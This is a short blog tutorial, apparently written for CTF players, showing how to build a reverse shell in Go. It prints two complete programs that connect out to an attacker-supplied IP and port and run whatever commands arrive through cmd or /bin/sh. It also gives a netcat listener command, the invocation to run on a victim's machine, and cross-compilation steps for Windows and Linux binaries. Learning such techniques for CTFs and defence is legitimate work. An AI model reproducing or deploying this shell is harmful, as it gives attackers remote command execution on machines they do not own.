How to build a Go Reverse shell (Linux/Windows)

Penthos
4 min readOct 19, 2021

I wanted to share how to make a basic reverse shell for CTF challenges or just playing/learning with. So let’s get on with it.

What's a reverse shell?

A reverse shell is a shell session established from one machine to another, that is initiated from the remote machine, not from the attacker’s host.

Attackers who can successfully exploit a remote command execution vulnerability. Will then be able to use a reverse shell to obtain a shell session on the target machine. Thus leveraging the attack surface. Reverse shells can also work across a NAT or firewall.

Knowing this let's make our own version of a reverse shell. I’m choosing to use Go for this project.

First, install Go.

Install guide for linux and windows. https://golangr.com/install/

Next, we need to code the reverse shell. We will be utilising the Go built-in library “net.Dial” and run commands based on the arch-type (Windows/Linux, you can expand on these).

Make a new file with the contents below for a basis reverse shell.

package main

import (
"bufio"
"fmt"
"net"
"os/exec"
"strings"
)

func main() {
conn, _ := net.Dial("tcp", "127.0.0.1:8080")
for {

message, _ := bufio.NewReader(conn).ReadString('\n')

out, err := exec.Command(strings.TrimSuffix(message, "\n")).Output()

if err != nil {
fmt.Fprintf(conn, "%s\n",err)
}

fmt.Fprintf(conn, "%s\n",out)

}
}

Save the above in a file called “shell.go”

Build command:

go build shell.go

See below for more build options.

Adding functionality

Let's add some more functionality to it so it can detect the arch type and give us the current working directory of the system it's on.

To get the arch type we need to use the:

runtime.GOOS 

Adding a switch statement to decide on the os output I made a function to get the arch type and return the program to run (cmd.exe) then the argument to make cmd commands work (/C) then finally the command as a tuple of (string, []string)

func get_arch_message_format(msg string) (string, []string) {
var exe string
os := runtime.GOOS
switch os {
case "windows":
exe = "cmd"
case "linux":
exe = "/bin/sh"
}
args := []string{}
if exe == "cmd" {
args = append(args, "/C")
} else {
args = append(args, "-c")
}
args = append(args, msg)
return exe, args
}

The next thing I wanted was to set the IP and port via the command line.

# Getting command arguments.
PS/> app.exe -i 10.10.10.10 -p 9999

For this, we can use the (flag) library.

IP := flag.String("i", "", "Host ip")
PORT := flag.String("p", "", "Port")
flag.Parse()

Let’s add the new functionality and test it out.

Build time!

Now make a new file called “shell.go” with the below contents inside.

package mainimport (
"bufio"
"flag"
"fmt"
"net"
"os"
"os/exec"
"runtime"
)
func get_arch_message_format(msg string) (string, []string) {
var exe string
os := runtime.GOOS
switch os {
case "windows":
exe = "cmd"
case "linux":
exe = "/bin/sh"
}
args := []string{}
if exe == "cmd" {
args = append(args, "/C")
} else {
args = append(args, "-c")
}
args = append(args, msg)
return exe, args
}
func main() {args := os.Args
if len(args) < 2 {
fmt.Println("Not enough arguments!")
fmt.Println("Usage: app -i 10.10.10.10 -p 8089")
return
}
I_P := flag.String("i", "", "Host to connect to")
L_PORT := flag.String("p", "", "Port to listen on")
flag.Parse()
conn, _ := net.Dial("tcp", fmt.Sprintf("%s:%s", *I_P, *L_PORT))for {
cwd, _ := os.Getwd()
fmt.Fprintf(conn, "\n%s> ", cwd)
msg, _ := bufio.NewReader(conn).ReadString('\n')
exe, args := get_arch_message_format(msg)
out, err := exec.Command(exe, args...).Output()
if err != nil {
fmt.Println(conn, "\n\n%s\n", err)
}
fmt.Fprintf(conn, "%s", out)
}
}

Now build the executable (you can build one for Windows or Linux or both! instructions below)

Now you can set up a Netcat listener and await your new shell to pop after running it with the IP and PORT arguments.

Example scenario (kali based)

Your Pc

$ nc -lnvp 9090

Victim’s PC

# linux 
shell -i 10.10.10.10 -p 9090

# windows
shell.exe -i 10.10.10.10 -p 9090

Windows (Powershell)

PS:\> go build .\shell.go

Windows (PowerShell for Linux)

PS:\> $Env:GOOS = "linux";$Env:GOARCH = "amd64"; go build .\shell.go

Linux

$ go build shell.go

Linux (Windows)

$ env GOOS=windows GOARCH=amd64 go build shell.go

You can also build far more architectures from the list below using the format

env GOOS=target-OS GOARCH=target-architecture go build package-name.go

Thanks for reading and happy coding!

Full source: https://github.com/AssassinUKG/go-reverse-shell

--

--